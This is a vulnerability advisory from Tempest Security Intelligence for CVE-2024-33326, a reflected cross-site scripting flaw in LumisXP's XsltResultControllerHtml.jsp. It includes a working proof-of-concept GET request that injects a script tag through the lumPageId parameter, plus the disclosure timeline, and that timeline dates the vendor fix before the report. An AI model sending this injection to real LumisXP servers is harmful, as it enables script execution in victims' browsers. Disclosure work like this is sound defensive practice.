LumisXP 16.1.x Cross Site Scripting

=====[ Tempest Security Intelligence - ADV-6/2024
]==========================

LumisXP v15.0.x to v16.1.x

Author: Rodolfo Tavares

Tempest Security Intelligence - Recife, Pernambuco - Brazil

=====[ Table of Contents]==================================================

• Overview
• Detailed description
• Timeline of disclosure
• Thanks & Acknowledgements
• References

=====[ Vulnerability
Information]=============================================

• Class: Improper Neutralization of Input During Web Page Generation
  (‘Cross-site Scripting’)
  ('Improper Neutralization of Input During Web Page Generation (‘Cross-site
  Scripting’)') [CWE-79]

• CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N - 5.4

=====[ Overview]========================================================

• System affected : LumisXP
• Software Version : Version - v15.0.x to v16.1.x
• Impacts :
• Vulnerability: A cross-site scripting (XSS) vulnerability in the
  component XsltResultControllerHtml.jsp of Lumisxp v15.0.x to v16.1.x allows
  attackers to execute arbitrary web scripts or HTML via a crafted payload
  injected into the lumPageID parameter

=====[ Detailed
description]=================================================

• XSS [GET
  /portal/XsltResultControllerHtml.jsp?xslContent=&interfaceInstanceId=&lumPageId=%3cscript%3econfirm(1)%3c%2fscript%3e&xslContentFilePath=]:

1 - Send the link by inserting the XSS payload into the lumPageID=
parameter.

GET  
/portal/XsltResultControllerHtml.jsp?xslContent=&interfaceInstanceId=&lumPageId=%3cscript%3econfirm(1)%3c%2fscript%3e&xslContentFilePath=  

2 - Verify that in the response your payload will be executed.

=====[ Timeline of
disclosure]===============================================

2/Apr/2024 - Responsible disclosure was initiated with the vendor.
12/Apr/2024 - LumisXP Support confirmed the issue;
16/Fev/2024 - The vendor fixed the vulnerability
29/May/2024 - CVEs was assigned and reserved as CVE-2024-33326

=====[ Thanks & Acknowledgements]========================================

• Tempest Security Intelligence [1]
• Rodolfo Tavares
• Niklas Correa

=====[ References ]=====================================================

[1][ [https://cwe.mitre.org/data/definitions/79.html]
[2][ [https://www.tempest.com.br|https://www.tempest.com.br/]]
[3][Thanks Filipe X.]

=====[ EOF ]===========================================================

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